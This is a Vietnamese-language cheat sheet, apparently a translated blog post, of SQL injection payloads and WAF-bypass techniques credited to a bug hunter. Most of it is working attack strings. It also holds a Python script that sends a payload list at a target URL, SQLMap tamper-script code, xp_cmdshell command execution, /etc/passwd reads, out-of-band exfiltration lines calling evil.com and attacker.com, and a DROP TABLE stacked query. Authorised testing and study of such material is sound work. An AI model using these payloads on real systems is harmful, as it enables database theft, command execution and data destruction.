Table of Contents
Kỹ thuật SQL Injection của nav1n0x
Sau đây là một số Kỹ thuật SQL Injection mà tôi thường sử dụng. Chúc bạn săn
vui vẻ!
Lưu ý: Các kỹ thuật tiên tiến này nên được sử dụng một cách có trách nhiệm
và chỉ trong các tình huống thử nghiệm hợp pháp và được ủy quyền. Chúng vượt
ra ngoài các kỹ thuật cơ bản và khai thác các tính năng và cấu hình cụ thể
của cơ sở dữ liệu. Ngoài ra, tôi có thể đã vô tình đưa vào các kỹ thuật có
sẵn công khai từ nhiều nguồn khác nhau.
CẢNH BÁO: Nếu bạn không biết mình đang làm gì, vui lòng không sử dụng các
kỹ thuật này. Sử dụng không đúng cách có thể gây hại cho cơ sở dữ liệu.
Các kỹ thuật được trình bày trong kho lưu trữ này chỉ nhằm mục đích giáo dục
và thử nghiệm trong môi trường được ủy quyền.
https://twitter.com/nav1n0x
không chịu trách nhiệm về việc sử dụng sai các kỹ thuật được liệt kê bên
dưới. Sử dụng theo rủi ro của riêng bạn. Không tấn công mục tiêu mà bạn
không được phép tham gia.
Giới thiệu về tác giả
nav1n0x (Navin) là một chuyên gia CNTT có nhiều năm kinh nghiệm
trong lĩnh vực ngân hàng, chính phủ và các ngành công nghiệp nặng. nav1n0x
đã coi việc săn tiền thưởng lỗi là niềm đam mê bán thời gian bên cạnh công
việc DBA toàn thời gian của mình, trở thành một chuyên gia an ninh mạng dày
dạn kinh nghiệm chuyên về thử nghiệm lỗ hổng và các kỹ thuật xâm nhập nâng
cao. Với nhiều năm kinh nghiệm trong việc xác định và khai thác các lỗ hổng
bảo mật, nav1n0x đã phát triển chuyên môn vững chắc về bảo mật ứng dụng web,
đặc biệt là trong SQL injection và WAF bypassing.
Với niềm đam mê chia sẻ kiến thức, nav1n0x tin vào phương châm "chia sẻ là quan tâm". Thông qua Twitter và GitHub (hiện đã bị đình chỉ), nav1n0x mong muốn
trao quyền cho những người khác trong cộng đồng an ninh mạng để nâng cao kỹ
năng của họ và đi trước các mối đe dọa mới nổi.
Theo dõi nav1n0x trên Twitter:
@nav1n0x
Hãy cho tôi biết nếu bạn muốn điều chỉnh bất kỳ điều gì!
|
SQL Injection - Image credit: https://portswigger.net/web-security/sql-injection |
Kỹ thuật và Playloads nâng cao
Error-Based SQL Injection
Error Payloads nâng cao:
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- -
Union-Based Injection
Xác định số lượng cột:
' UNION SELECT NULL, NULL, NULL, NULL --
Trích xuất dữ liệu:
' UNION SELECT username, password, NULL, NULL FROM users --
Blind SQL Injection
Boolean-Based Blind:
' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 UNION SELECT 2) END) --
Time-Based Blind:
' AND IF(1=1, SLEEP(5), 0) --
SQL Injection bậc hai
Thông tin injection vào hồ sơ:
- Sửa đổi dữ liệu được lưu trữ ở một nơi để ảnh hưởng đến các truy vấn được thực hiện ở nơi khác.
SQL Injection dựa trên Union nâng cao
1. Union-Based Error Handling
- Tạo thông báo lỗi chi tiết bằng cách tạo các tải trọng phức tạp:
' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) --
2. Union with Hex Encoding
- Mã hóa các phần truy vấn của bạn để tránh WAF:
' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() --
3. Multi-Query Union Injection
- Tận dụng nhiều truy vấn để trích xuất thêm dữ liệu:
' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() --
4. Trích xuất cơ sở dữ liệu chéo dựa trên Union
- Kết hợp dữ liệu từ các cơ sở dữ liệu khác nhau (khi được hỗ trợ):
' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() --
SQL Injection dựa trên Boolean nâng cao
1. Injection Boolean theo thời gian với phản hồi có điều kiện
- Sử dụng độ trễ thời gian để suy ra dữ liệu dựa trên phản hồi có điều kiện:
' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) --
2. Injection Boolean lồng nhau
- Điều kiện lồng nhau để trích xuất dữ liệu cụ thể:
' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) --
3. Injection Boolean dựa trên lỗi
- Buộc lỗi có điều kiện để tiết lộ thông tin:
' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables), 1) --
4. Sử dụng các phép toán Bitwise
- Sử dụng các phép toán bitwise để tối giản và phức tạp hơn:
' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) --
Kết hợp các kỹ thuật
Kết hợp nhiều kỹ thuật tiên tiến để tạo ra payloads mạnh mẽ và khó phát hiện
hơn.
Ví dụ: Liên hợp với Injection theo thời gian
Tạo một payloads sử dụng cả hợp nhất và injection theo thời gian:
' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 --
Ví dụ: Nested Union và Boolean Injection
Kết hợp các điều kiện boolean lồng nhau với trích xuất dữ liệu dựa trên hợp
nhất:
' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables LIMIT 1), 1), 3, 4 --
Tự động hóa với các tập lệnh tùy chỉnh
Tự động hóa các kỹ thuật tiên tiến này bằng cách sử dụng các tập lệnh tùy
chỉnh để kiểm tra và trích xuất dữ liệu hiệu quả.
Ví dụ: Python Script cho Advanced Union Injection
import requests url = "http://example.com/vulnerable.php" payloads = [ # Advanced Union-Based Injections "' UNION SELECT 1, version(), database(), user() FROM dual WHERE 1=CAST((SELECT COUNT(*) FROM information_schema.tables) AS INT) -- ", "' UNION SELECT 1, 0x62656e6368, 0x70617373776f7264, user() -- ", "' UNION SELECT 1, database(), (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), user() -- ", "' UNION SELECT 1, (SELECT column_name FROM db1.table1 LIMIT 1), (SELECT column_name FROM db2.table2 LIMIT 1), user() -- ", # Advanced Boolean-Based Injections "' AND IF((SELECT LENGTH(database()))>5, SLEEP(5), 0) -- ", "' AND IF((SELECT SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1), 1, 1))='a', SLEEP(5), 0) -- ", "' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables), 1) -- ", "' AND IF((SELECT ASCII(SUBSTRING((SELECT database()),1,1))) & 1, SLEEP(5), 0) -- ", # Combined Techniques "' UNION SELECT IF((SELECT LENGTH(database()))>5, SLEEP(5), 0), 1, user(), 4 -- ", "' UNION SELECT 1, IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, (SELECT table_name FROM information_schema.tables LIMIT 1), 1), 3, 4 -- ", ] for payload in payloads: response = requests.get(url, params={"id": payload}) print(f"Payload: {payload}") print(f"Response: {response.text}\n")
Liệt kê nâng cao
Dấu vân tay cơ sở dữ liệu
- MySQL :
' OR 1=1 AND @@version --
- PostgreSQL :
' OR 1=1 AND @@vers
- MSSQL :
' OR 1=1 AND @@version --
Đánh số cột
- Xác định số cột :
' ORDER BY 1 -- ' ORDER BY 2 --
- Trích xuất tên cột :
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
Trích xuất dữ liệu nâng cao
- Kết hợp nhiều hàng thành một đầu ra duy nhất :
' UNION SELECT GROUP_CONCAT(username, 0x3a, password) FROM users -
Bỏ qua bộ lọc và WAF
Sự che giấu
- Sử dụng Bình luận :
' UNION/**/SELECT/**/NULL,NULL,NULL --
Xử lý trường hợp
- Thay đổi trường hợp của từ khóa SQL :
' uNioN SeLecT NULL, NULL --
Bình luận nội tuyến
- Chèn chú thích nội tuyến :
' UNION/**/SELECT/**/NULL,NULL --
Xử lý khoảng trắng
- Sử dụng các loại ký tự khoảng trắng khác nhau :
' UNION%0D%0ASELECT%0D%0A NULL,NULL --
Khai thác các kịch bản nâng cao
Thủ tục lưu trữ
- Thực thi SQL tùy ý :
'; EXEC xp_cmdshell('whoami') --
Tiêm SQL ngoài băng tần
- Lọc dữ liệu qua yêu cầu DNS hoặc HTTP :
'; EXEC master..xp_dirtree '\\evil.com\payload' --
Tận dụng đặc quyền
- Đọc hoặc ghi tập tin :
' UNION SELECT LOAD_FILE('/etc/passwd') --
Tự động hóa và các tập lệnh tùy chỉnh
Lệnh SQLMap tùy chỉnh
- Bỏ qua WAF hoặc nhắm mục tiêu các điểm tiêm cụ thể :
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=space2comment --level=5 --risk=3
- Một số Tamper Script tôi sử dụng
tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat, chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest, halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned, multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere, space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash, space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion, unmagicquotes,versionedkeywords,versionedmorekeywords
Tạo tập lệnh giả mạo của riêng bạn cho SQLMap liên quan đến việc viết một
tập lệnh Python sửa đổi các tải trọng được SQLMap sử dụng để tránh tường lửa
ứng dụng web (WAF) hoặc các cơ chế lọc khác. Sau đây là hướng dẫn từng bước
để tạo một tập lệnh giả mạo tùy chỉnh.
Bước 1: Hiểu những điều cơ bản về một tập lệnh giả mạo
Một tập lệnh giả mạo sẽ sửa đổi payload được gửi đến máy chủ. Tập lệnh này
phải chứa một hàm được gọi
tamper để lấy một chuỗi
payload làm đối số và trả về chuỗi payload đã sửa đổi.
Bước 2: Cấu trúc của một tập lệnh giả mạo
Sau đây là cấu trúc cơ bản của một tập lệnh giả mạo:
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): # Modify the payload here modified_payload = payload return modified_payload
- __priority__: Xác định thứ tự áp dụng các tập lệnh giả mạo.
- dependencies(): Kiểm tra bất kỳ sự phụ thuộc cần thiết nào.
- tamper(payload): Chức năng chính dùng để sửa đổi tải trọng.
Bước 3: Triển khai một tập lệnh Tamper đơn giản
Hãy tạo một tập lệnh giả mạo đơn giản thay thế khoảng trắng bằng chú thích
để tránh các bộ lọc cơ bản.
Ví dụ: Tập lệnh sửa đổi khoảng cách thành bình luận
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): """ Replaces space character (' ') with a random inline comment ('/**/') """ if payload: payload = payload.replace(" ", "/**/") return payload
Bước 4: Ví dụ nâng cao hơn
Bây giờ, chúng ta hãy tạo một tập lệnh giả mạo nâng cao hơn để mã hóa URL
ngẫu nhiên các ký tự trong tải trọng.
Ví dụ: Mã hóa URL ngẫu nhiên Tamper Script
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): """ Randomly URL encodes characters in the payload """ if payload: encoded_payload = "" for char in payload: if random.randint(0, 1): encoded_payload += "%%%02x" % ord(char) else: encoded_payload += char return encoded_payload return payload
Bước 5: Lưu và sử dụng Tamper Script
1. Lưu tập lệnh : Lưu tập lệnh giả mạo của bạn trong
tamper thư mục cài đặt
SQLMap của bạn. Ví dụ, lưu nó dưới dạng
random_urlencode.py.
2. Sử dụng Script : Sử dụng
--tamper tùy chọn trong
SQLMap để áp dụng script giả mạo tùy chỉnh của bạn.
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=random_urlencode
Bước 6: Kiểm tra và gỡ lỗi
- Test - Kiểm tra: Đảm bảo tập lệnh hoạt động như mong đợi bằng cách chạy SQLMap với các tải trọng khác nhau.
- Debug - Gỡ lỗi: In thông tin gỡ lỗi nếu cần. Bạn có thể thêm các câu lệnh in trong hàm tamper để gỡ lỗi tập lệnh của mình.
Ví dụ gỡ lỗi
#!/usr/bin/env python import random __priority__ = 1 def dependencies(): pass def tamper(payload): """ Randomly URL encodes characters in the payload """ if payload: encoded_payload = "" for char in payload: if random.randint(0, 1): encoded_payload += "%%%02x" % ord(char) else: encoded_payload += char print(f"Original: {payload}") print(f"Modified: {encoded_payload}") return encoded_payload return payload
Một số kỹ thuật tiên tiến hơn để lọc dữ liệu, OOB, v.v.
Truy vấn xếp chồng
- Thực hiện nhiều câu lệnh : ⚠️⚠️⚠️⚠️
'; DROP TABLE users; SELECT * FROM admin --
SQLi với Tường lửa ứng dụng web
- Sử dụng Tải trọng được mã hóa :
' UNION SELECT CHAR(117,115,101,114,110,97,109,101), CHAR(112,97,115,115,119,111,114,100) --
Tận dụng các hàm SQL
- Sử dụng hàm SQL để lọc dữ liệu :
' UNION SELECT version(), current_database() --
Lọc DNS
- Sử dụng yêu cầu DNS để lọc dữ liệu :
'; SELECT load_file('/etc/passwd') INTO OUTFILE '\\\\attacker.com\\share' --
Tận dụng các hàm JSON
- Trích xuất dữ liệu bằng hàm JSON :
' UNION SELECT json_extract(column_name, '$.key') FROM table_name --
Kỹ thuật tự động hóa tiên tiến
Tùy chỉnh SQLMap
- Sử dụng Custom Tamper Scripts :
sqlmap -u "http://example.com/vulnerable.php?id=1" --tamper=~/location/ofthescript/charencode.py --level=5 --risk=3
Kỹ thuật bỏ qua WAF cho SQL Injection
1. Sử dụng Mã hóa và Làm tối nghĩa
Mã hóa URL
- Mã hóa một số phần của tải trọng để bỏ qua việc phát hiện từ khóa cơ bản.
%27%20UNION%20SELECT%20NULL,NULL,NULL--
Mã hóa URL kép
- Mã hóa kép dữ liệu để tránh cơ chế phát hiện.
%2527%2520UNION%2520SELECT%2520NULL,NULL,NULL--
Mã hóa Hex
- Sử dụng mã hóa thập lục phân cho tải trọng.
' UNION SELECT 0x61646D696E, 0x70617373776F7264 --
2. Xử lý trường hợp và bình luận
Trường hợp hỗn hợp
- Thay đổi chữ hoa và chữ thường của từ khóa SQL.
' uNioN SeLecT NULL, NULL --
Bình luận nội tuyến
- Chèn chú thích vào trong các từ khóa SQL để làm tối nghĩa nội dung.
' UNION/**/SELECT/**/NULL,NULL --
3. Khoảng trắng và ký tự đặc biệt
Sử dụng các ký tự khoảng trắng khác nhau
- Thay thế khoảng trắng bằng các ký tự khoảng trắng khác như tab hoặc xuống dòng.
' UNION%0D%0ASELECT%0D%0A NULL,NULL --
Nối với các ký tự đặc biệt
- Sử dụng các ký tự đặc biệt và nối chuỗi để xây dựng tải trọng một cách linh hoạt.
' UNION SELECT CHAR(117)||CHAR(115)||CHAR(101)||CHAR(114), CHAR(112)||CHAR(97)||CHAR(115)||CHAR(115) --
4. Làm tối nghĩa hàm và lệnh SQL
Nối chuỗi
- Chia chuỗi thành các phần nhỏ hơn và nối chúng lại.
' UNION SELECT 'ad'||'min', 'pa'||'ss' --
Sử dụng hàm SQL
- Sử dụng các hàm SQL để thao tác dữ liệu.
' UNION SELECT VERSION(), DATABASE() --
5. Tải trọng dựa trên thời gian và dựa trên Boolean
SQL Injection mù theo thời gian
- Sử dụng độ trễ thời gian để suy ra thông tin từ phản hồi.
' AND IF(1=1, SLEEP(5), 0) --
Tiêm SQL mù dựa trên Boolean
- Sử dụng các điều kiện làm thay đổi phản hồi dựa trên điều kiện đúng hoặc sai.
' AND IF(1=1, 'A', 'B')='A' --
6. Kỹ thuật mã hóa nâng cao
Mã hóa Base64
- Mã hóa dữ liệu bằng Base64.
' UNION SELECT FROM_BASE64('c2VsZWN0IHZlcnNpb24oKQ==') --
Các tập lệnh mã hóa tùy chỉnh
- Tạo các tập lệnh tùy chỉnh để mã hóa và giải mã dữ liệu ở nhiều định dạng khác nhau.
7. Kỹ thuật xâu chuỗi
Kết hợp nhiều kỹ thuật bỏ qua
- Sử dụng kết hợp nhiều kỹ thuật để tạo ra tải trọng phức tạp hơn và khó phát hiện hơn.
%27%20UNION/**/SELECT/**/CHAR(117)%7C%7CCHAR(115)%7C%7CCHAR(101)%7C%7CCHAR(114),%20CHAR(112)%7C%7CCHAR(97)%7C%7CCHAR(115)%7C%7CCHAR(115)%20--%0A
8. Tận dụng các tính năng SQL ít được biết đến
Sử dụng hàm JSON
- Tận dụng các hàm JSON để thao tác và trích xuất dữ liệu.
' UNION SELECT json_extract(column_name, '$.key') FROM table_name -
Sử dụng các hàm XML
- Sử dụng các hàm XML để tạo ra các dữ liệu phức tạp hơn.
' UNION SELECT extractvalue(1, 'version()') --
Hết Phần 1
Phần 2 tại đây